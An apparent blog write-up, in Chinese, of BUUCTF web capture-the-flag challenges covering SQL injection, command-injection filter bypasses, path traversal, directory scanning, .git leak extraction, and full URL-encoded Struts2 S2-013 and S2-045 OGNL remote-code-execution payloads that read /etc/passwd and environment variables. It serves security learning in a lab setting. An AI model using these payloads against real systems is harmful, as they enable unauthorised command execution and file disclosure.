BUUCTF

WEB

极客大挑战2019-EasySQL

用户名处输入单引号后报错
在这里插入图片描述

闭合语句 ’ or 1=1# 后报错,发现#号没有转成url编码,直接用#号闭合,系统会判断为用户没有输入密码
在这里插入图片描述

将#号处替换成url编码后的%23即可

 ' or 1=1%23&password=pwd

在这里插入图片描述

极客大挑战2019-Havefun

打开发现啥也没有,检查下网页元素

发现有段注释,使用get传递参数,如果变量$ cat的值为cat则输出该变量,如果变量$cat的值等于dog则输出syc{cat_cat_cat_cat}
在这里插入图片描述

在url后输入?cat=pig即可获得flag
在这里插入图片描述

GXYCTF2019 Ping Ping Ping

看到页面上提示/?ip=,可以在url后加上该参数
在这里插入图片描述

尝试在ip地址后加上命令
在这里插入图片描述

尝试查看flag.php文件,构造语句?ip=127.0.0.1;cat flag.php

好像空格被过滤了
在这里插入图片描述

试了几种绕过空格的方法都访问不到flag.php,只能访问到index.php

发现flag也被过滤了
在这里插入图片描述

对cat flag.php命令进行base64编码来构造语句

?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

$IFS$1  //替换空格
Y2F0IGZsYWcucGhw = cat flag.php
base64 -d  //解码数据
sh  //执行cat flag.php命令

在这里插入图片描述

学习了更方便的方法,内联执行

?ip=127.0.0.1;cat$IFS$1`ls`

以该命令为例,先执行反引号内的命令ls
ls 看到当前目录下有index.php和flag.php
然后输出的结果全都执行单引号前的命令cat
cat index.php
cat flag.php

在这里插入图片描述

HCTF2018-WarmUp

页面上就一张图片没什么内容

查看页面元素后发现有段注释 source.php
在这里插入图片描述

直接在url后面输入搜索即可

第一眼看到还有个hint.php的文件,说flag不在这
在这里插入图片描述
在这里插入图片描述

再回到source.php

满足这三个条件后显示include中的内容,不满足则显示滑稽图片

  if (! empty($_REQUEST['file'])    //判断变量是否为空
        && is_string($_REQUEST['file'])    //检测变量是否为字符串
        && emmm::checkFile($_REQUEST['file'])    //将值传到emmm类中的checkfile函数里
    ) {
        include $_REQUEST['file'];
        exit;
  } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    } 

第一个if语句对变量进行检验,要求$page为字符串,否则返回false

第二个if语句判断$ page是否存在于$whitelist数组中,存在则返回true

第三个if语句判断截取后的$ page是否存在于$ whitelist数组中,截取$page中’?'前部分,存在则返回true

第四个if语句判断url解码并截取后的$ page是否存在于$ whitelist中,存在则返回true

若以上四个if语句均未返回值,则返回false

$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {    
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {    
                return true;
            }

            $_page = mb_substr(   
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);    
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }

在服务器提取参数时会解码一次,checkfile函数中解码一次,需要将?编码两次得到%253f

?file=source.php%253f../../../../../ffffllllaaaagggg

在这里插入图片描述

《从0到1:CTFer成长之路》常见的搜集

找了找没发现什么东西,用dirsearch扫下目录

kali默认不带dirsearch

apt-get install dirsearch
./dirsearch -u http://3ab0a861-bff5-436b-b432-67ff608891ff.node4.buuoj.cn
./dirsearch -u http://3ab0a861-bff5-436b-b432-67ff608891ff.node4.buuoj.cn -o 1.txt  //扫描结果输出到1.txt
./dirsearch -u http://3ab0a861-bff5-436b-b432-67ff608891ff.node4.buuoj.cn -w wordlist.txt  //使用自选字典扫描
cat 1.txt | grep "200"  //查看文件里带有200的信息

可能由于扫描次数过多会导致网站访问异常,所以有的能正常访问的路径可能会被过掉
在这里插入图片描述
在这里插入图片描述

下载index.php.swp文件可以得到 flag3
在这里插入图片描述

访问index.php得到flag2
在这里插入图片描述

访问robots.txt得到另外一个路径,访问后得到flag1
在这里插入图片描述

根据获得的3个flag拼接后得到最终的flag

flag1:n1book{info_1
flag2:s_v3ry_im
flag3:p0rtant_hack}

flag{info_1s_v3ry_imp0rtant_hack}

《从0到1:CTFer成长之路》粗心的小李

需要用到githack这个工具,查看git泄露

git clone https://github.com/lijiejie/GitHack

在这里插入图片描述
在这里插入图片描述

下载完后GitHack.py的权限可能不够,需要chmod+x下再运行

chmod +x  GitHack.py
./GitHack.py http://1c874b74-0317-4f6e-ae62-1d336f57687d.node4.buuoj.cn/.git/
cd 1c874b74-0317-4f6e-ae62-1d336f57687d.node4.buuoj.cn 

进入到githack目录下,运行 ./GitHack.py http://靶机url/.git/

运行后会在该目录下生成一个该url的目录,在域名目录下的index.html文件中找到flag
在这里插入图片描述
在这里插入图片描述

struts2 s2-013

直接用下poc,需要url编码下

exec(‘ ’) 里的内容为要执行的代码

/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('cat /etc/passwd').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println('dbapp%3D'%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D

在这里插入图片描述
在这里插入图片描述

找下flag,需要通过env命令查看当前用户环境信息来发现

/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('env').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println('dbapp%3D'%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D

在这里插入图片描述

struts2 s2-045

先点击提交,抓包,将下列代码替换content-type的值即可

(#cmd=’ ')里为要执行的命令,还是通过env命令查看当前用户环境信息来查看flag

%{(#wm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#wm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#wm)))).(#cmd='env').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}.multipart/form-data

在这里插入图片描述

ACTF2020 新生赛 Exec 1

一个ping地址的界面,先ping下127.0.0.1
在这里插入图片描述

然后执行ls命令

ping 127.0.0.1;ls

在这里插入图片描述

发现只有一个文件,查看下当前路径

ping 127.0.0.1;pwd

切换到根目录,发现flag文件

127.0.0.1;ls ../../../

在这里插入图片描述

查看flag文件

flag{bbec1dcc-1541-4f77-97c8-c27ac7d866ae}

127.0.0.1;cat /flag

在这里插入图片描述

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值